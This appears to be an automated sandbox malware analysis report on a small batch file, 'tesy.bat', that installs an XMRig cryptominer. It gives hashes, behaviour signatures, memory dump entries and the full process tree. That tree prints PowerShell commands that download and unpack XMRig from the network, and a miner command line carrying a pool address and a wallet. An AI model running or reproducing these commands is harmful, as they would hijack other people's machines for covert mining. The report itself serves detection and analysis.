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Analysis

  • max time kernel
    1804s
  • max time network
    1835s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 14:43

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4152
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2056

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_flnmi4ph.vow.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    344KB

    MD5

    d1f81e252506ef44e8dd728f58e07399

    SHA1

    7a805728d8c8c08d86436309f653b7d30ba727d7

    SHA256

    39b53b73e1600ab3b9fa0cc980c876bded583097eec59f2d0af64690fd3858b9

    SHA512

    a46eb0dceb6a12be2f3579ff7fa2412c263076e0e5906ae2410601fee856eda9716420fcc2cecb18876a02e9dd7c307f10e626be431f25cce45442f9ad84be29

  • memory/2056-142-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-166-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-188-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-187-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-186-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-185-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-184-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-183-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-182-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-181-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-180-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-179-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-178-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-177-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-176-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-175-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-174-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-146-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-173-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-121-0x00000126E95C0000-0x00000126E9600000-memory.dmp

    Filesize

    256KB

  • memory/2056-122-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-123-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-124-0x00000126E9600000-0x00000126E9620000-memory.dmp

    Filesize

    128KB

  • memory/2056-125-0x00000126E9620000-0x00000126E9640000-memory.dmp

    Filesize

    128KB

  • memory/2056-126-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-127-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-128-0x00000126E9600000-0x00000126E9620000-memory.dmp

    Filesize

    128KB

  • memory/2056-129-0x00000126E9620000-0x00000126E9640000-memory.dmp

    Filesize

    128KB

  • memory/2056-130-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-131-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-132-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-133-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-134-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-135-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-136-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-137-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-138-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-139-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-140-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-141-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-145-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-143-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-172-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-171-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-120-0x00000126E9580000-0x00000126E95A0000-memory.dmp

    Filesize

    128KB

  • memory/2056-147-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-148-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-149-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-150-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-151-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-152-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-153-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-154-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-155-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-156-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-157-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-158-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-159-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-160-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-161-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-162-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-163-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-164-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-165-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-144-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-167-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-168-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-169-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/2056-170-0x00007FF716E50000-0x00007FF717953000-memory.dmp

    Filesize

    11.0MB

  • memory/4152-42-0x00000287D35C0000-0x00000287D35D0000-memory.dmp

    Filesize

    64KB

  • memory/4152-39-0x00007FFCC7200000-0x00007FFCC7BEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4152-40-0x00000287D35C0000-0x00000287D35D0000-memory.dmp

    Filesize

    64KB

  • memory/4152-117-0x00007FFCC7200000-0x00007FFCC7BEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4152-80-0x00000287D3910000-0x00000287D3922000-memory.dmp

    Filesize

    72KB

  • memory/4152-93-0x00000287D38F0000-0x00000287D38FA000-memory.dmp

    Filesize

    40KB

  • memory/4152-66-0x00000287D35C0000-0x00000287D35D0000-memory.dmp

    Filesize

    64KB

  • memory/4192-4-0x000001EA76F90000-0x000001EA76FB2000-memory.dmp

    Filesize

    136KB

  • memory/4192-7-0x00007FFCC7200000-0x00007FFCC7BEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4192-8-0x000001EA77140000-0x000001EA771B6000-memory.dmp

    Filesize

    472KB

  • memory/4192-9-0x000001EA76F80000-0x000001EA76F90000-memory.dmp

    Filesize

    64KB

  • memory/4192-10-0x000001EA76F80000-0x000001EA76F90000-memory.dmp

    Filesize

    64KB

  • memory/4192-34-0x00007FFCC7200000-0x00007FFCC7BEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4192-29-0x000001EA76F80000-0x000001EA76F90000-memory.dmp

    Filesize

    64KB

  • memory/4192-28-0x000001EA76F80000-0x000001EA76F90000-memory.dmp

    Filesize

    64KB

  • memory/4192-27-0x000001EA76F80000-0x000001EA76F90000-memory.dmp

    Filesize

    64KB

  • memory/4192-26-0x00007FFCC7200000-0x00007FFCC7BEC000-memory.dmp

    Filesize

    9.9MB

  • memory/4192-25-0x000001EA76F80000-0x000001EA76F90000-memory.dmp

    Filesize

    64KB